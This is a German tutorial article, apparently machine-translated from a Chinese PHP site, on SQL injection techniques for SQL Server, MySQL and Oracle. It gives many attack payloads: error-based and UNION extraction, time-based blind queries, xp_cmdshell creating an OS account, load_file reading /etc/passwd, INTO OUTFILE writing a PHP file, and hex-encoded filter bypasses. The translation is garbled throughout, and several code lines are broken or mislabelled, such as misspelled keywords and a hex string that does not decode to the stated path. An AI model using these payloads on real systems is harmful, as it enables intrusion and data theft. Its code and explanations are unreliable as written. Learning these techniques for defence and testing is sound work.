Heim > Artikel > Betrieb und Instandhaltung > Welche drei Möglichkeiten der SQL-Injektion gibt es?
Die drei Methoden der SQL-Injection sind: 1. Numerische Injektion; wenn der Eingabeparameter eine Ganzzahl ist, liegt möglicherweise eine Sicherheitslücke bei der numerischen Injektion vor. 2. Zeicheninjektion; wenn der Eingabeparameter eine Zeichenfolge ist, kann eine Sicherheitslücke durch Zeicheninjektion bestehen. 3. Andere Typen (z. B. Suchinjektion, Cookie-Injektion, POST-Injektion usw.).
SQL-Injection-Prinzip
SQL-Injection-Angriff bezieht sich auf die Erstellung spezieller Eingaben, die an die übergeben werden In der Webanwendung handelt es sich bei den meisten dieser Eingaben um einige Kombinationen in der SQL-Syntax. Durch die Ausführung der SQL-Anweisung führt der Angreifer die erforderlichen Operationen aus. Der Hauptgrund dafür ist, dass das Programm die vom Benutzer eingegebenen Daten nicht sorgfältig filtert Dateneinbruchssystem.
SQL-Injection-Klassifizierung
1. Numerische Injektion
Wann Da es sich bei den Eingabeparametern um Ganzzahlen handelt, besteht möglicherweise eine Sicherheitslücke bei der numerischen Injektion.
Angenommen, es gibt eine URL: HTTP://www.aaa.com/test.php?id=1
Sie können die SQL-Anweisung im Hintergrund wie folgt erraten: SELECT * FROM table WHERE id=1
Bestimmen Sie den SQL-Injection-Punkt von die numerische Schwachstelle :
① Geben Sie zunächst ein einfaches Anführungszeichen '
in das Eingabefeld ein. Die SQL-Anweisung wird zu:
SELECT * FROM table WHERE id=1'
,
entsprechen nicht der Syntax, sodass die Anweisung definitiv fehlschlägt, was dazu führt, dass das Skript keine Daten aus der Datenbank abrufen kann und die Originalseite abnormal ist.
② Geben Sie and 1 = 1
in das Eingabefeld ein. Die SQL-Anweisung wird zu:
SELECT * FROM table WHERE id=1 and 1 = 1
Die Anweisung ist korrekt, die Ausführung ist normal und die zurückgegebenen Daten unterscheiden sich nicht von der ursprünglichen Anfrage.
③ Geben Sie and 1 = 2
in die Datenbank ein. Die SQL-Anweisung lautet:
SELECT * FROM table WHERE id=1 and 1 = 2
Obwohl die Syntax ist korrekt. Die Anweisung wird normal ausgeführt, aber die Logik ist falsch, da 1 = 2 dauerhaft falsch ist, sodass sich die zurückgegebenen Daten von der ursprünglichen Anforderung unterscheiden.
Wenn alle oben genannten drei Schritte erfüllt sind, weist das Programm möglicherweise eine Sicherheitslücke hinsichtlich numerischer SQL-Injection auf.
2. Zeicheninjektion
Wenn der Eingabeparameter eine Zeichenfolge ist, kann eine Sicherheitslücke durch Zeicheninjektion bestehen. Der größte Unterschied zwischen numerischer und Zeicheninjektion besteht darin, dass numerische Typen nicht in einfache Anführungszeichen gesetzt werden müssen, während -Zeichentypen im Allgemeinen in einfache Anführungszeichen gesetzt werden müssen.
Das Wichtigste bei der Zeicheninjektion ist, wie man die SQL-Anweisung schließt und den redundanten Code kommentiert.
Angenommen, die Hintergrund-SQL-Anweisung lautet wie folgt: SELECT * FROM table WHERE username = 'admin'
Bestimmen Sie den SQL-Injection-Punkt der Zeichenanfälligkeit:
① Oder geben Sie zuerst einfache Anführungszeichen admin'
ein, um die SQL-Anweisung von
zu testen. Diese wird zu:
SELECT * FROM table WHERE username = 'admin''
.
Die Seite ist abnormal.
② Eingabe: admin' and 1 = 1 --
Hinweis: Nach admin steht ein einfaches Anführungszeichen '
, das zum Schließen der Zeichenfolge verwendet wird, und schließlich gibt es ein Kommentarzeichen --
(Nach den beiden Balken steht ein Leerzeichen!!!).
Die SQL-Anweisung lautet:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
Die Seite wird korrekt angezeigt.
③ Eingabe: admin' and 1 = 2 --
Die SQL-Anweisung wird zu:
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
Seitenfehler.
Wenn die oben genannten drei Schritte erfüllt sind, kann es zu einer Zeichen-SQL-Injection kommen.
3. Andere Typen
Eigentlich gibt es meiner Meinung nach nur zwei Arten von SQL-Injection: numerisch und zeichenhaft. Viele Leute sagen vielleicht, dass es andere Methoden gibt, wie zum Beispiel: Cookie-Injektion, POST-Injection, verzögerte Injektion usw.
Das ist tatsächlich so, doch handelt es sich bei diesen Injektionsarten letztlich nur um unterschiedliche Darstellungsformen von Zahlen- und Zeicheninjektionen bzw. um unterschiedliche Injektionsorte.
Im Folgenden sind einige gebräuchliche Injektionsnamen aufgeführt:
Gemeinsame Datenbankinjektionen
Für die Datenbankinjektion nutzen Angreifer einfach die Datenbank, um mehr Daten oder größere Berechtigungen zu erhalten in folgende Kategorien einteilen:
Für Programm-Injection, Angreifer egal Jede Datenbank führt diese drei Dinge aus, aber die in verschiedene Datenbanken eingefügten SQL-Anweisungen sind unterschiedlich.
Hier sind die Injektionen von drei Datenbanken: Oracle 11g, MySQL 5.1 und SQL Server 2008.
SQL Server
1. Verwenden Sie Fehlermeldungen, um Informationen zu extrahieren.
SQL Server-Datenbank ist a Eine sehr gute Datenbank, die Fehlerinformationen genau lokalisieren kann, ist für Angreifer von großem Nutzen, da Angreifer über Fehlermeldungen die gewünschten Daten extrahieren können.
① Zählen Sie die aktuelle Tabelle oder Spalte auf
Angenommen, eine solche Tabelle existiert:
Fragen Sie die Details des Stamms ab Benutzerinformationen, die Vermutung der SQL-Anweisung lautet wie folgt: SELECT * FROM user WHERE username = 'root' AND password = 'root'
Ein Angreifer kann SQL Server-Funktionen verwenden, um vertrauliche Informationen zu erhalten. Geben Sie die folgende Anweisung in das Eingabefeld ein: ' having 1 = 1 --
Endgültige Ausführung Die SQL-Anweisung lautet: SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
Dann gibt der SQL-Executor möglicherweise einen Fehler aus:
Der Angreifer kann den Strom erkennen Der Tabellenname lautet „Benutzer“ und die Feld-ID ist vorhanden.
Ein Angreifer kann diese Funktion nutzen, um weiterhin andere Spaltennamen abzurufen, indem er die folgende Anweisung eingibt: ' GROUP BY users.id HAVING 1 = 1 --
Dann wird die SQL-Anweisung zu:SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
Throw Ein Fehler ist aufgetreten:
Daran können Sie erkennen, dass der Spaltenname Benutzername enthalten ist. Sie können eine rekursive Abfrage einmal ausführen, bis keine Fehlermeldung mehr zurückgegeben wird. Sie können also die HAVING-Klausel verwenden, um alle Spaltennamen der aktuellen Tabelle abzurufen.
Hinweis: Jede durch Select angegebene Spalte sollte in der Group By-Klausel erscheinen, es sei denn, für diese Spalte wird eine Aggregatfunktion verwendet
② Extraktion mithilfe von Datentypfehlern
Der SQL Editor löst eine Ausnahme aus, wenn Sie versuchen, eine Zeichenfolge mit einer Nicht-Zeichenfolge zu vergleichen oder eine Zeichenfolge in einen anderen inkompatiblen Typ zu konvertieren.
Die folgende SQL-Anweisung: SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
Executor-Fehlermeldung:
Auf diese Weise können Sie den Benutzernamen root erhalten. Denn in der Unterabfrage SELECT TOP 1 username FROM users
wird der zuerst abgefragte Benutzername vom Typ varchar zurückgegeben und dann mit 1 vom Typ int verglichen. Die beiden verschiedenen Datentypen können nicht verglichen werden, was zu einem Fehler führt führt zu Datenschutzverletzungen.
Verwenden Sie diese Methode, um alle Kontoinformationen rekursiv abzuleiten: SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))
.
Durch die Erstellung dieser Anweisung können Sie den nächsten Benutzernamen abrufen. Wenn Sie den Benutzernamen in der Unterabfrage durch andere Spaltennamen ersetzen, können Sie die Informationen anderer Spalten abrufen, die hier nicht beschrieben werden.
2. Metadaten abrufen
SQL Server bietet eine große Anzahl von Ansichten, um das Abrufen von Metadaten zu erleichtern. Sie können zunächst die Anzahl der Spalten in der Tabelle erraten und dann mit UNION eine SQL-Anweisung erstellen, um die Daten abzurufen.
Zum Beispiel: SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
Wenn die Anzahl der Spalten in der aktuellen Tabelle 2 beträgt, können Sie die UNION-Anweisung verwenden, um die aktuelle Datenbanktabelle abzurufen. Wie Sie die Anzahl der Spalten in der aktuellen Tabelle erraten können, wird später beschrieben.
Einige häufig verwendete Systemdatenbankansichten:
数据库视图 | 说明 |
---|---|
SYS.DATABASES | SQL Server 中的所有数据库 |
SYS.SQL_LOGINS | SQL Server 中的所有登录名 |
INFORMATION_SCHEMA.TABLES | 当前用户数据库中的所有数据表 |
INFORMATION_SCHEMA.COLUMNS | 当前用户数据库中的所有列 |
SYS.ALL_COLUMNS | 用户定义对象和系统对象的所有列的联合 |
SYS.DATABASE_PRINCIPALS | 数据库中每个权限或列异常权限 |
SYS.DATABASE_FILES | 存储在数据库中的数据库文件 |
SYSOBJECTS | 数据库中创建的每个对象 (包括约束、日志以及存储过程) |
3. Die ORDER BY-Klausel errät die Anzahl der Spalten
Sie können die ORDER BY-Anweisung verwenden, um die Anzahl der Spalten in der aktuellen Tabelle zu bestimmen.
Zum Beispiel:
① SELECT * FROM users WHERE id = 1
– SQL-Ausführung ist normal
②SELECT * FROM users WHERE id = 1 ORDER BY 1
(sortiert nach der ersten Spalte) – SQL-Ausführung ist normal
③ SELECT * FROM users WHERE id = 1 ORDER BY 2
(sortiert nach der zweiten Spalte) – SQL-Ausführung ist normal
④ SELECT * FROM users WHERE id = 1 ORDER BY 3
(sortiert nach der dritten Spalte) – SQL-Ausführung ist normal
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4
(sortiert nach die vierte Spalte (Spaltensortierung) - SQL löst eine Ausnahme aus:
Daraus kann geschlossen werden, dass die Anzahl der Spalten in der aktuellen Tabelle nur 3 beträgt, da beim Sortieren nach der 4. Spalte ein Fehler auftritt. Diese Methode gilt auch für Oracle- und MySql-Datenbanken.
Nachdem der Angreifer die Anzahl der Spalten kennt, kooperiert er normalerweise mit dem Schlüsselwort UNION, um den nächsten Angriff durchzuführen.
4. UNION-Abfrage
Das Schlüsselwort UNION kombiniert zwei oder mehr Abfrageergebnisse in einem einzigen Ergebnissatz. Die Grundregeln für das Zusammenführen zweier Ergebnisse mithilfe von UNION lauten jedoch wie folgt:
① Verwenden Sie die UNION-Abfrage, um die Anzahl der Spalten zu erraten
Sie können nicht nur die ORDER BY-Methode verwenden, um die Anzahl der Spalten zu erraten, die UNION-Methode kann auch verwendet werden.
Es gibt 5 Spalten in der zuvor angenommenen Benutzertabelle. Wenn wir UNION zur Abfrage verwenden: SELECT * FROM users WHERE id = 1 UNION SELECT 1
Die Datenbank gibt eine Ausnahme aus:
Kann Wenn Sie rekursiv abfragen, bis keine Fehler mehr auftreten, können Sie die Anzahl der Abfragefelder in der Benutzertabelle ermitteln: UNION SELECT 1,2
, UNION SELECT 1,2,3
Sie können die Anzahl nach SELECT auch auf Null ändern, damit Es ist weniger wahrscheinlich, dass Fehler auftreten.
② Gemeinsame Abfrage vertraulicher Informationen
Nachdem Sie wissen, dass die Anzahl der Spalten 4 beträgt, können Sie die folgende Anweisung verwenden, um mit der Injektion fortzufahren: UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U'
(Hinweis: xtype='U' Zeigt an, dass der Objekttyp eine Tabelle ist.)
Wenn der Datentyp der ersten Spalte nicht übereinstimmt, meldet die Datenbank einen Fehler. Anschließend können Sie rekursiv abfragen, bis die Anweisungen kompatibel sind. Wenn die Anweisung normal ausgeführt wird, können Sie x durch eine SQL-Anweisung ersetzen, um vertrauliche Informationen abzufragen.
5. Nutzen Sie die von SQL Server bereitgestellten Systemfunktionen
SQL Server bietet zahlreiche Systemfunktionen, mit denen auf die Informationen im SQL Server-System zugegriffen werden kann Tabellen, ohne SQL-Abfrageanweisungen zu verwenden.
Zum Beispiel:
6. Gespeicherte Prozedur
Gespeicherte Prozedur (Stored Procedure) ist eine Reihe von SQL-„Funktionen“, die zum Ausführen bestimmter Funktionen in verwendet werden große Datenbanksysteme, wie zum Beispiel: Systembefehle ausführen, die Registrierung anzeigen, Festplattenverzeichnisse lesen usw.
Die von Angreifern am häufigsten verwendete gespeicherte Prozedur ist "xp_cmdshell", mit der Benutzer Betriebssystembefehle ausführen können.
Zum Beispiel: Wenn in http://www.aaa.org/test.aspx?id=1
ein Injektionspunkt vorhanden ist, kann der Angreifer einen Befehlsangriff ausführen: http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
Die endgültig ausgeführte SQL-Anweisung lautet wie folgt:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
Die Anweisung nach dem Semikolon ermöglicht es dem Angreifer, mit dem Benutzernamentest und dem Passworttest einen neuen Benutzer auf dem Server der anderen Partei zu erstellen.
Hinweis: Nicht jeder Datenbankbenutzer kann diese Art von gespeicherter Prozedur verwenden. Der Benutzer muss über die CONTROL SERVER-Berechtigung verfügen.
Übliche gefährliche gespeicherte Prozeduren sind wie folgt:
存储过程 | 说明 |
---|---|
sp_addlogin | 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例 |
sp_dropuser | 从当前数据库中删除数据库用户 |
xp_enumgroups | 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表 |
xp_regread | 读取注册表 |
xp_regwrite | 写入注册表 |
xp_redeletevalue | 删除注册表 |
xp_dirtree | 读取目录 |
sp_password | 更改密码 |
xp_servicecontrol | 停止或激活某服务 |
Darüber hinaus erfordert jede Datenbank bestimmte Berechtigungen, wenn sie einige spezielle Funktionen oder gespeicherte Prozeduren verwendet. Allgemeine SQL Server-Datenbankrollen und -Berechtigungen sind wie folgt:
角色 | 权限 |
---|---|
bulkadmin | 可以运行 BULK INSERT 语句 |
dbcreator | 可以创建、更改、删除和还原任何数据库 |
diskadmin | 可以管理磁盘文件 |
processadmin | 可以种植在数据库引擎中运行的实例 |
securityadmin | 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码 |
serveradmin | 可以更改服务器范围的配置选项和关闭服务器 |
setupadmin | 可以添加和删除链接服务器,并可以执行某些系统存储过程 |
sysadmin | 可以在数据库引擎中执行任何活动 |
7. Dynamische Ausführung
Benutzer können eine Zeichenfolge zum Ausführen von SQL-Anweisungen übermitteln.
Zum Beispiel: exec('SELECT username, password FROM users')
Sie können auch eine hexadezimale SQL-Anweisung definieren und diese mit der Funktion exec ausführen. Die meisten Webanwendungen und Firewalls filtern einfache Anführungszeichen. Die Verwendung von exec zum Ausführen hexadezimaler SQL-Anweisungen kann viele Firewalls und Anti-Injection-Programme durchbrechen, wie zum Beispiel:
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
oder: declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
MySQL
Der Injektionsprozess von SQL Server wurde zuvor ausführlich beschrieben. Bei der Injektion in andere Datenbanken ist die Grundidee dieselbe, mit Ausnahme der Funktionen oder Anweisungen die von den beiden verwendeten sind etwas unterschiedlich.
1. Kommentare in MySQL
MySQL unterstützt die folgenden 3 Kommentarstile:2. Metadaten abrufen
MySQL 5.0 und höher stellen INFORMATION_SCHEMA bereit Eine Informationsdatenbank. Bietet Zugriff auf Datenbankmetadaten. So lesen Sie den Datenbanknamen, den Tabellennamen und den Spaltennamen daraus aus. ① Benutzerdatenbanknamen abfragenSELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
Die Tabelle INFORMATION_SCHEMA.SCHEMATA stellt Informationen über die Datenbank bereit.
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
Die Tabelle INFORMATION_SCHEMA.TABLES enthält Informationen zu den Tabellen in der Datenbank.
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS Die Spalteninformationen in der Tabelle werden in der Tabelle angegeben.
3. UNION-Abfrage
entspricht in etwa der von SQL Server und wird hier nicht beschrieben.4. MySQL-Funktionsnutzung
Ob MySQL, Oracle oder andere Datenbanken, es gibt viele integrierte Systemfunktionen Ich werde einige davon für Penetrationstester hilfreiche MySQL-Funktionen vorstellen.① Funktion „load_file()“ liest Dateioperationen
MySQL stellt die Funktion „load_file()“ bereit, um Benutzern das schnelle Lesen von Dateien zu erleichtern. Der Speicherort der Datei muss sich jedoch auf der Datei befinden server muss die Datei ein absoluter Pfad sein und der Benutzer muss über die FILE-Berechtigung verfügen und die Dateikapazität muss kleiner als max_allowed_packet Bytes sein (Standard ist 16 MB, Maximum ist 1 GB). Die SQL-Anweisung lautet wie folgt:UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #
UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
„0x2F6561342F706173737764“ ist das hexadezimale Konvertierungsergebnis von „/etc/passwd“.
② in den Outfile-Datei-Schreibvorgang
MySQL ermöglicht den Vorgang zum Schreiben von Dateien auf die Festplatte. Sie müssen über FILE-Berechtigungen verfügen und die Datei muss voll sein . Pfadname. Datei schreiben:SELECT '<?php phpinfo();?>' into oufile 'C:wwwroot1.php'
③ Verbindungszeichenfolge
MySQL Wenn Sie mehrere Daten gleichzeitig abfragen müssen, können Sie dies tun Verwenden Sie zum Abschluss die Funktion concat () oder concat_ws().;SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version())
5. MySQL explizite Fehlerinjektion
MySQL verfügt auch über eine explizite Fehlerinjektion, die wie die SQL Server-Datenbank Fehler zum Extrahieren von Nachrichten verwenden kann.① Führen Sie SQL-Anweisungen über die Funktion updatexml aus
Verstehen Sie zunächst die Funktion updatexml():updatexml (XML_document, XPath_string, new_value);
Erste Parameter : XML_document liegt im String-Format vor, das ist der Name des XML-Dokumentobjekts;
Der zweite Parameter: XPath_string (String im Xpath-Format),
Der dritte Parameter: new_value, im String-Format, ersetzt die gefundene Übereinstimmung Die concat()-Funktion der bedingten Daten
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
verkettet sie zu einer Zeichenfolge, sodass sie nicht dem Format von XPATH_string entspricht, was zu Formatfehlern, Fehlern und nicht erkennbarem Inhalt führt:
② Verwenden Sie die Extractvalue-Funktion SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
, um den aktuellen Benutzer mit demselben Fehler anzuzeigen:
6. Wide-Byte-Injection
Wide-Byte-Injection wird durch Kodierungsinkonsistenz verursacht. Diese Injektion tritt im Allgemeinen in PHP + MySQL auf.
In der PHP-Konfigurationsdatei php.ini gibt es eine Option „magic_quotes_gpc“, die „magische Anführungszeichen“ heißt. Wenn diese Option aktiviert ist, verwenden Sie einfache Anführungszeichen (') und doppelte Anführungszeichen, die von GET und POST akzeptiert werden und Cookie. Anführungszeichen ("), Backslash () und NULL-Zeichen werden automatisch mit einem Backslash maskiert.
Verwenden Sie PHP-Code wie folgt, um $_GET zum Empfangen von Parametern zu verwenden:
Wenn Sie auf die URL http:/www.xxser.com/Get.php?id='
zugreifen, wird sie wie folgt angezeigt:
Nachdem das einfache Anführungszeichen '
maskiert wurde, wird es zu '
. In MySQL ist '
ein zulässiges Zeichen, daher gibt es keine Möglichkeit, das einfache Anführungszeichen zu schließen. Wenn Sie jedoch den Typ „Zeichen“ eingeben, kann dies nicht der Fall sein :
wird wie folgt angezeigt: %d5'
http:/www.xxser.com/Get.php?id=%d5'
Sie können feststellen, dass die einfachen Anführungszeichen dieses Mal nicht maskiert sind, sodass Sie die PHP-Escape-Funktion durchbrechen und fortfahren können um die SQL-Anweisung für die SQL-Injection zu schließen
Angenommen, es gibt eine Tabelle wie folgt:
Benutzernamensfeld. Die Länge beträgt 7.
① Fügen Sie die ein normale SQL-Anweisung:
Fügen Sie die falsche SQL-Anweisung ein, sodass die Länge des Benutzernamenfelds 7 überschreitet: INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
Obwohl es eine Warnung gibt, ist das Einfügen erfolgreich
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
Datenbank abfragen:
Sie können sehen, dass die drei Daten in die Datenbank eingefügt werden, der Wert sich jedoch standardmäßig ändert, wenn die Daten die Standardlänge überschreiten , MySQL wird es inszenieren, aber wie man angreift, indem man den Benutzer namens admin abfragt: INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
Es kann festgestellt werden, dass nur der Benutzer namens admin abgefragt wird, aber auch die anderen beiden Admin-Benutzer mit inkonsistenten Längen abgefragt, was einige Sicherheitsprobleme verursachen wird
Zum Beispiel gibt es einen Administrator, der beim Anmelden dieses Urteil fällt:
8. Verzögerte Injektion
Verzögerte Injektion ist eine Art Blindinjektionstechnologie, bei der es sich um eine Injektionstechnologie handelt, die auf Zeitunterschieden basiert. Im Folgenden wird MySQL als Beispiel für die Einführung einer verzögerten Injektion verwendet. $sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";
Es gibt eine Funktion in MySQL: Sleep(Dauer) Diese Funktion bedeutet, die Anweisung auszuführen, nachdem der Dauerparameter für einige Sekunden angegeben wurde:
Mit dieser Funktion können Sie feststellen, ob die URL eine SQL-Injection-Schwachstelle aufweist Die Schritte sind wie folgt:
Aus der von der zurückgegebenen Welt kann geschlossen werden Seite, dass das DBMS die and sleep(3)
-Anweisung ausgeführt hat. Auf diese Weise kann festgestellt werden, dass die URL eine SQL-Injection-Schwachstelle aufweist.
Dann können die Daten auch über die Funktion „sleep()“ gelesen werden, dies erfordert jedoch die Zusammenarbeit mit anderen Funktionen. Die Schritte sind wie folgt:
①Fragen Sie den aktuellen Benutzer ab und ermitteln Sie die Zeichenfolgenlänge
Führen Sie die SQL-Anweisung aus: AND if(length(user()) = 0, sleep(3), 1)
Wenn eine Verzögerung von 3 Sekunden auftritt, kann die Länge der Benutzerzeichenfolge während der Injektion beurteilt werden. Zur Reduzierung wird normalerweise der halbe Algorithmus verwendet das Urteil.
② Fangen Sie das erste Zeichen der Zeichenfolge ab und konvertieren Sie es in ASCII-Code AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
......
Ändern Sie den ASCII-Code kontinuierlich bis Es gibt eine Verzögerung von 3 Sekunden. Sie können das erste Zeichen erraten.
③ Jedes Zeichen der Zeichenfolge rekursiv abfangen und jeweils mit dem ASCII-Code vergleichen AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
Hinweis: Die Position von L repräsentiert das Zeichen der Zeichenfolge und die Position von N repräsentiert der ASCII-Code.
Verzögerungsfunktionen gibt es nicht nur in MySQL, sondern auch Funktionen mit ähnlichen Funktionen in Datenbanken wie SQL Server und Oracle, wie zum Beispiel Waitfor Delay in SQL Server und DBMS_LOCK.SLEEP in Oracle.
Oracle
1. Metadaten abrufen
Oracle unterstützt auch die Abfrage von Metadaten wie folgt ist eine häufig verwendete Metadatenansicht, die von Oracle eingefügt wird:
① user_tablespaces-Ansicht, Tabellenbereiche anzeigen SELECT tablespace_name FROM user_tablespaces
② user_tables-Ansicht, alle Tabellen des aktuellen Benutzers anzeigen SELECT table_name FROM user_tables WHERE rownum = 1
③ user_tab_columns-Ansicht, alle Spalten des aktuellen Benutzers anzeigen, z. B. alle Spalten der Benutzertabelle abfragen: SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
④ all_users-Ansicht, alle Benutzer der ORacle-Datenbank anzeigen SELECT username FROM all_users
⑤ user_objects view, alle Objekte (Tabellennamen, Einschränkungen, Indizes) des aktuellen Benutzers anzeigen SELECT object_name FROM user_objects
2
Oracle unterstützt wie MySQL nicht die Ausführung mehrerer Anweisungen, die durch Semikolons getrennt werden können, um mehrere SQL-Anweisungen einzufügen.
① Gesamtzahl der Spalten abrufen
Die Methode zum Abrufen der Gesamtzahl der Spalten ähnelt den beiden vorherigen Datenbanken und kann weiterhin mit der ORDER BY-Klausel durchgeführt werden.
Eine andere Methode besteht darin, das Schlüsselwort UNION zur Bestimmung zu verwenden, aber Oracle legt fest, dass auf jede Abfrage der Name der Tabelle folgen muss, andernfalls wird die Abfrage nicht erstellt .
Kann in Oracle verwendet werden: UNION SELECT null, null, null …… FROM dual
Das Dual hier ist eine virtuelle Tabelle in Oracle. Sie können diese Tabelle als Abfragetabelle verwenden, ohne zu wissen, welche Tabellen in der Datenbank vorhanden sind.
Dann erhalten Sie die nicht numerische Spalte, das heißt kann die Informationsspalte anzeigen : UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual
Put Jede Ziffer null
wird der Reihe nach in einfache Anführungszeichen gesetzt. Wenn einen Fehler meldet, handelt es sich nicht um eine Spalte vom Zeichenfolgentyp ; wenn normal zurückgibt, handelt es sich um eine Spalte vom Zeichenfolgentyp , und Sie können die entsprechende Abfrageanweisung an der Position eingeben, um die Informationen zu erhalten.
② Erhalten Sie vertrauliche Informationen
Allgemeine vertrauliche Informationen lauten wie folgt:
SELECT * FROM session_roles
SELECT banner FROM sys.v_$version WHERE rownum = 1
utl_http.request
, um SELECT utl_inaddr.get_host_address FROM dual
SELECT member FROM v$logfile WHERE rownum = 1
SELECT instance_name FROM v$instance
SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
③ Holen Sie sich die Datenbanktabelle und ihren Inhalt
Holen Sie sich die Tabelle Nach der Anzahl der Spalten können Sie den Tabellennamen und den Spaltennamen durch Abfragen von Metadaten abfragen und dann die Daten abfragen, z. B.: http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
Hinweis: Beim Abfragen von Daten müssen Sie auch darauf achten Andernfalls kann die Abfrage nicht durchgeführt werden. Sie können die Parameter nur einzeln testen und die Abfrageposition ändern.
Das obige ist der detaillierte Inhalt vonWelche drei Möglichkeiten der SQL-Injektion gibt es?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!